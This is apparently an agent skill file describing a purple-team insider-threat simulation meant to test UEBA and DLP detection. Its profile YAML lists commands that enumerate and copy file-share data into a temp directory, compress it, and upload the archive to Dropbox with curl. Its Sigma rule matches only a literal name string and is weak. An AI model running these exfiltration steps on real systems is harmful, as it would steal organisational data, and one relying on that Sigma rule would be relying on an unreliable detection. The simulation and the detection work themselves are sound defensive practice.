<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-insider-threat-simulation
description: >-
  Simulate insider threat scenarios to validate detection of malicious and
  negligent insider activities. Covers privileged user abuse, data hoarding,
  unauthorized access patterns, policy violations, and behavioral anomaly
  detection using UEBA rules and audit log analysis.
domain: cybersecurity
subdomain: purple-team
tags:
  - insider-threat
  - ueba
  - behavioral-analytics
  - data-loss-prevention
  - privilege-abuse
  - purple-team
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078"]
---

# Performing Insider Threat Simulation

## Overview

Insider threat simulations test whether security controls detect authorized users
acting maliciously. Unlike external attack simulations, insider tests use legitimate
credentials and access to perform unauthorized activities — data hoarding, privilege
abuse, policy violations, and exfiltration — validating UEBA, DLP, and audit
monitoring effectiveness.

## Prerequisites

| Requirement | Install |
|---|---|
| Python 3.10+ | For agent tooling |
| Invoke-AtomicRedTeam | PowerShell module for technique execution |
| Active Directory | Test accounts with various privilege levels |
| SIEM with UEBA | Splunk UBA, Elastic ML, or Microsoft Sentinel UEBA |
| DLP Solution | For data handling violation detection |

## Key Concepts

### Insider Threat Scenarios

| Scenario | TTPs | Indicators |
|---|---|---|
| Data hoarding | T1005, T1074 | Bulk file access, staging in temp dirs |
| Privilege abuse | T1078, T1098 | Off-hours admin activity, group changes |
| Unauthorized access | T1530, T1213 | Access to unrelated project data |
| Resignation risk | T1567, T1048 | Cloud upload spike, USB usage |
| Account sharing | T1078 | Impossible travel, concurrent sessions |

### Simulation Profile

```yaml
insider_simulation:
  name: "Departing Employee Data Theft"
  persona:
    role: "Senior Developer"
    access_level: "standard-user + code-repos"
    risk_indicators: ["resignation-submitted", "performance-review-negative"]
  scenario_phases:
    - phase: reconnaissance
      actions:
        - technique: T1083
          description: "Browse file shares beyond normal scope"
          command: "dir \\\\fileserver\\finance$ /s /b > %TEMP%\\files.txt"
    - phase: collection
      actions:
        - technique: T1005
          description: "Copy sensitive files to local staging"
          command: "robocopy \\\\fileserver\\projects %TEMP%\\staging /E /Z"
        - technique: T1074.001
          description: "Stage data in temp directory"
          command: "compress-archive -Path %TEMP%\\staging -Destination %TEMP%\\backup.zip"
    - phase: exfiltration
      actions:
        - technique: T1567.002
          description: "Upload to personal cloud storage"
          command: "curl -X POST https://api.dropbox.com/2/files/upload -H 'Authorization: Bearer TOKEN' --data-binary @%TEMP%\\backup.zip"
  expected_detections:
    - "Unusual file access volume"
    - "Access to restricted share"
    - "Large cloud upload"
    - "Data staging in temp directory"
```

### UEBA Detection Rules

```yaml
# Splunk UBA anomaly rule
title: Unusual File Access Volume
description: User accessing significantly more files than baseline
search: |
  | tstats count WHERE index=wineventlog EventCode=5145
    BY src_user, Computer, _time span=1h
  | eventstats avg(count) as avg_access, stdev(count) as std_access BY src_user
  | where count > (avg_access + 3 * std_access)
  | table _time, src_user, Computer, count, avg_access
```

## Workflow

### 1. Create Simulation Profile

```bash
node agent.js create-simulation \
  --name "Departing Employee" \
  --persona "senior-developer" \
  --techniques T1083 T1005 T1074.001 T1567.002 \
  --output simulations/departing_employee.yaml
```

### 2. Execute Insider Activities

```bash
# Run simulation phases with realistic delays
node agent.js execute-simulation \
  --simulation simulations/departing_employee.yaml \
  --delay-between-phases 3600 \
  --output results/insider_sim_results.json
```

### 3. Check UEBA Alerts

```bash
# Verify behavioral analytics detected anomalies
node agent.js check-ueba \
  --results results/insider_sim_results.json \
  --siem-url https://splunk:8089 \
  --output results/ueba_detections.json
```

### 4. Generate Report

```bash
node agent.js simulation-report \
  --results results/insider_sim_results.json \
  --detections results/ueba_detections.json \
  --output reports/insider_threat_report.json
```

## Detection

```yaml
title: Insider Threat Simulation Detection
id: 54c8c87a-32ed-4668-9392-3739e9055a2d
status: experimental
description: Detects suspicious activity related to performing insider threat simulation techniques in purple team context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*insider*"
  condition: selection
level: medium
tags:
  - attack.t1078
  - attack.defense_evasion
falsepositives:
  - Authorized adversary simulation exercises during scheduled windows
```

## Verification

| Check | Method |
|---|---|
| Simulation executed | All phases completed with test account |
| Behavioral anomaly detected | UEBA flags unusual access patterns |
| DLP triggered | Data transfer to cloud flagged |
| Audit trail complete | All actions logged in SIEM |
| No production impact | Simulation used test data only |

## References

- [MITRE ATT&CK Collection](https://attack.mitre.org/tactics/TA0009/)
- [CISA Insider Threat Mitigation](https://www.cisa.gov/topics/physical-security/insider-threat-mitigation)
- [NIST SP 800-53 — Insider Threat](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
